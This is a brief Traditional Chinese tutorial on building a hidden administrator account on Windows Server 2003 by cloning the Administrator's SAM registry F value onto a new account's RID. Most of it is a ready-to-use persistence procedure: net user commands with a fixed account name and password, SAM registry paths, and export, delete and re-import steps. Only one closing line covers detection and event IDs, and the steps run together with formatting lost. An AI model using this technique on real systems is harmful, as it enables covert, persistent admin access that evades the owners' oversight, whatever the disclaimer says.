在滲透測試、應急響應或隱蔽維運場景中,建立一個「在圖形介面不顯示、但能正常登入且擁有管理員權限」的隱藏帳戶,是經典技術。本文實測 Windows Server 2003 利用 net user 建帳號 → 匯出管理員 SAM 登錄機碼 F 值覆寫 → 刪除帳號 → 匯入登錄機碼「復活」隱藏帳戶全流程。
SAM 資料庫中每個帳戶對應一個 RID(相對識別碼)子機碼(如管理員 0x1F4、Guest 0x1F5、新建帳戶遞增)。子機碼下的 F 二進位值包含帳戶控制旗標(如 ACCOUNTDISABLE、PASSWD_NOTREQD 等)。將管理員的 F 值複製給新帳戶 RID,再刪除帳戶物件但保留 RID 機碼,系統將視為「已停用但存在的管理員等效帳戶」,圖形工具不顯示,但認證子系統仍驗證通過。
net user xbx$ 123,abc /addnet localgroup administrators xbx$ /addHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\UsersSAM 機碼權限(右鍵「權限」→ 給 Administrators 完全控制)。000003F6(十六進位),對應 xbx$。000001F4 → F → 全選二進位資料 → 複製 → 切換至 000003F6 → F → 貼上覆寫。000001F4、000003F6、xbx$(帳號名稱機碼)→ 右鍵「匯出」存為 .reg。net user xbx$ /delete(圖形介面帳號消失,但 RID 機碼 000003F6 仍保留)。xbx$,但鎖定工作站或遠端桌面以 xbx$ / 123,abc 可登入,擁有完整管理員權限。net user、wmic useraccount list、PowerShell Get-LocalUser 並監控安全性事件 4720/4722/4724/4725/4726/4738/4740/4767。此技術僅供授權滲透測試、紅隊演練、應急恢復等合法場景使用,嚴禁用於未授權入侵或持久化控制。